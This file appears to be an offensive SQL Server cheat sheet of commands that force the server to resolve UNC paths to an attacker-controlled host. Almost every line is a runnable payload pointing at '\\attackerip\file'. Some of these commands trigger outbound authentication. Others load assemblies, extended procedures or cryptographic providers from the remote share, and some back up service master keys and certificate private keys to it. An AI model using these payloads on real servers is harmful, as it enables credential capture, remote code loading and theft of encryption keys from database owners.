dXNK314D

1
2--
3-- Short list of SQL Server commands that support UNC path [injections] by default
4-- Note: This is not a complete list.
5--
6
7--------------------------------------------------------
8-- Executable by the Public fixed server role by default
9--------------------------------------------------------
10-- Note: All are supported by SQL Server 2000 to 2014
11
12-- Get directory listing
13xp_dirtree '\\attackerip\file'
14GO
15
16-- Check if file exists
17xp_fileexist '\\attackerip\file'
18GO
19
20-- Backup to file - Database Log
21-- Note: Public can't actually execute the backup, but the UNC path is resolved first
22BACKUP LOG [TESTING] TO DISK = '\\attackerip\file'
23GO
24
25-- Backup to file - Database
26-- Note: Public can't actually execute the backup, but the UNC path is resolved first
27BACKUP DATABASE [TESTING] TO DISK = '\\attackeri\file'
28GO
29
30-- Restore from file - Log
31-- Note: Public can't actually execute the restore, but the UNC path is resolved first
32RESTORE LOG [TESTING] FROM DISK = '\\attackerip\file'
33
34-- Restore from file - Database
35-- Note: Public can't actually execute the restore, but the UNC path is resolved first
36RESTORE DATABASE [TESTING] FROM DISK = '\\attackerip\file'
37GO
38
39-- Restore from file - HEADERONLY
40-- Note: Public can't actually execute the restore, but the UNC path is resolved first
41RESTORE HEADERONLY FROM DISK = '\\attackerip\file'
42GO
43
44-- Restore from file - FILELISTONLY
45-- Note: Public can't actually execute the restore, but the UNC path is resolved first
46RESTORE FILELISTONLY FROM DISK = '\\attackerip\file'
47GO
48
49-- Restore from file - LABELONLY 
50-- Note: Public can't actually execute the restore, but the UNC path is resolved first
51RESTORE LABELONLY FROM DISK = '\\attackerip\file'
52GO
53
54-- Restore from file - REWINDONLY 
55-- Note: Public can't actually execute the restore, but the UNC path is resolved first
56RESTORE REWINDONLY FROM DISK = '\\attackerip\file'
57GO
58
59-- Restore from file - VERIFYONLY
60-- Note: Public can't actually execute the restore, but the UNC path is resolved first
61RESTORE VERIFYONLY FROM DISK = '\\attackerip\file'
62GO
63
64------------------------------------------------------
65-- Executable by the Sysadmin fixed server
66-- and with other roles / privileges
67------------------------------------------------------
68-- Note: Almost every function and stored procedure that supports a file path allows UNC paths by design.
69
70-- Create assembly
71CREATE ASSEMBLY HelloWorld FROM '\\attackerip\file' WITH PERMISSION_SET = SAFE;  
72GO
73
74-- Add exteneded stored procedure
75sp_addextendedproc 'xp_hello','\\attackerip\file'
76
77-- Create Certificate
78CREATE CERTIFICATE testing123  
79    FROM EXECUTABLE FILE = '\\attackerip\file';
80GO  
81
82-- Backup Certificate
83BACKUP CERTIFICATE test01 TO FILE = '\\attackerip\file'
84	WITH PRIVATE KEY (decryption by password = 'superpassword',
85	FILE = '\\attackerip\file',
86	encryption by password = 'superpassword');
87go
88
89-- Backup to file - Master Key
90BACKUP MASTER KEY TO FILE = '\\attackerip\file'
91	ENCRYPTION BY PASSWORD = 'password'
92GO
93
94-- Backup to file - Service Master Key
95BACKUP SERVICE MASTER KEY TO FILE = '\\attackerip\file'
96	ENCRYPTION BY PASSWORD = 'password'
97go
98
99-- Restore from file - Master Key
100RESTORE MASTER KEY FROM FILE = '\\attackerip\file'
101	DECRYPTION BY PASSWORD = 'password'
102	ENCRYPTION BY PASSWORD = 'password'
103go
104
105-- Restore from file - Service Master Key
106RESTORE SERVICE MASTER KEY FROM FILE = '\\attackerip\file'
107	DECRYPTION BY PASSWORD = 'password'
108go
109
110-- Read data from file - Bulk insert 1
111CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
112BULK INSERT #TEXTFILE FROM '\\attackerip\file' 
113DROP TABLE #TEXTFILE
114
115-- Read data from file - Bulk insert 2
116CREATE TABLE #TEXTFILE (column1 NVARCHAR(100))
117BULK INSERT #TEXTFILE FROM '\\attackerip\file' 
118WITH (FORMATFILE = '\\testing21\file')
119DROP TABLE #TEXTFILE
120
121-- Read data from a file - fn_xe_file_target_read_file
122SELECT * FROM sys.fn_xe_file_target_read_file ('\\attackerip\file','\\attackerip\file',null,null)
123GO
124
125-- Read data from a file - fn_get_audit_file
126SELECT * FROM sys.fn_get_audit_file ('\\attackerip\file','\\attackerip\file',default,default);  
127GO  
128
129-- Create Server Audit to File
130CREATE SERVER AUDIT TESTING TO FILE ( FILEPATH = '\\attackerip\file');
131GO
132
133-- Install a cryptographic provider  
134sp_configure 'EKM provider enabled',1
135RECONFIGURE
136GO
137CREATE CRYPTOGRAPHIC PROVIDER SecurityProvider FROM FILE = '\\attackerip\file';  
138GO
139
140-- External file format - Azure only
141CREATE EXTERNAL FILE FORMAT myfileformat WITH (FORMATFILE = '\\testing21\file');
142GO 
143
144-- xp_regwrite has write privilegs to recursively (for the most part)
145-- there are a number of backup and logging file paths that could be used to UNC path injection
146HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\<INSTANCE> 
147HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Services\SQLAgent$<INSTANCE>
148HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication